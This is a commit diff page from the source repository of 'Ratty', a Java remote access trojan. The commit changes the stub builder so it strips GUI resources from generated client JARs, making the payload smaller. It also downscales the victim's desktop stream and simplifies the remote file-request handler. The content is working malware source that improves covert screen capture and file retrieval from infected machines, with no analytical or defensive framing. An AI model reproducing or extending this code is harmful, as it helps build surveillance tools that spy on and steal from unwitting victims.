Browse Source

Major changes

Heavily reduced the stub size
Desktop stream is now downscaled
master
Sogomn 9 years ago
parent
commit
4575b32aaa
  1. 10
      Ratty/src/de/sogomn/rat/builder/JarBuilder.java
  2. 2
      Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
  3. 31
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  4. 11
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

10
Ratty/src/de/sogomn/rat/builder/JarBuilder.java

@ -33,6 +33,16 @@ public final class JarBuilder {
//...
}
public static void removeFile(final File jar, final String file) throws IOException {
final Path jarPath = jar.toPath();
final FileSystem fileSystem = FileSystems.newFileSystem(jarPath, null);
final Path path = fileSystem.getPath(file);
Files.delete(path);
fileSystem.close();
}
public static void build(final File destination, final String replacement, final byte[] replacementData) throws IOException {
FileUtils.copyFile(JAR_FILE, destination);

2
Ratty/src/de/sogomn/rat/packet/DesktopPacket.java

@ -88,7 +88,7 @@ public final class DesktopPacket extends AbstractPingPongPacket {
@Override
protected void executeRequest(final ActiveConnection connection) {
final BufferedImage screenshot = FrameEncoder.takeScreenshotWithCursor();
final BufferedImage screenshot = FrameEncoder.captureScreen();
if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
final IFrame frame = new IFrame(0, 0, screenshot);

31
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -44,8 +44,15 @@ public final class RattyGuiController extends AbstractRattyController implements
private HashMap<ActiveConnection, ServerClient> clients;
private static final String BUILDER_REPLACEMENT = "/connection_data.txt";
private static final String BUILDER_REPLACEMENT = "connection_data.txt";
private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
private static final String[] BUILDER_REMOVALS = {
"ping.wav",
"lato.ttf",
"gui_tree_icons.png",
"gui_icon.png",
"gui_menu_icons.png"
};
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes");
@ -195,7 +202,8 @@ public final class RattyGuiController extends AbstractRattyController implements
gui.update();
}
private void requestFile(final ServerClient client, final FileTreeNode node) {
private void requestFile(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
@ -203,17 +211,6 @@ public final class RattyGuiController extends AbstractRattyController implements
client.connection.addPacket(packet);
}
private void handleFileTreeCommand(final ServerClient client, final String command) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode parent = node.getParent();
if (parent != null && command != FileTree.REQUEST) {
requestFile(client, parent);
}
requestFile(client, node);
}
private void startBuilder() {
final File destination = gui.getSaveFile("JAR");
@ -238,6 +235,10 @@ public final class RattyGuiController extends AbstractRattyController implements
try {
JarBuilder.build(destination, BUILDER_REPLACEMENT, replacementData);
for (final String removal : BUILDER_REMOVALS) {
JarBuilder.removeFile(destination, removal);
}
} catch (final IOException ex) {
gui.showError(BUILDER_ERROR_MESSAGE + "\r\n" + ex.getMessage());
}
@ -260,8 +261,8 @@ public final class RattyGuiController extends AbstractRattyController implements
launchAttack();
} else if (command == RattyGui.BUILD) {
startBuilder();
} else if (command == FileTree.NEW_DIRECTORY || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) {
handleFileTreeCommand(client, command);
} else if (command == FileTree.REQUEST) {
requestFile(client);
}
}

11
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -23,7 +23,7 @@ public final class FrameEncoder {
private static final int CELLS_WIDE = 6;
private static final int CELLS_HIGH = 6;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
private static final float CAPTURE_SCALING = 0.5f;
private static final int CURSOR_SIZE = 16;
private static final Stroke CURSOR_STROKE = new BasicStroke(3);
@ -47,16 +47,17 @@ public final class FrameEncoder {
}
}
public static BufferedImage takeScreenshotWithCursor() {
final BufferedImage image = takeScreenshot();
public static BufferedImage captureScreen() {
BufferedImage image = takeScreenshot();
image = ImageUtils.scaleImage(image, CAPTURE_SCALING);
if (image == null) {
return null;
}
final Point mousePoint = MouseInfo.getPointerInfo().getLocation();
final int mouseX = mousePoint.x - CURSOR_SIZE / 2;
final int mouseY = mousePoint.y - CURSOR_SIZE / 2;
final int mouseX = (int)((mousePoint.x - CURSOR_SIZE / 2) * CAPTURE_SCALING);
final int mouseY = (int)((mousePoint.y - CURSOR_SIZE / 2) * CAPTURE_SCALING);
final Graphics2D g = image.createGraphics();

Loading…
Cancel
Save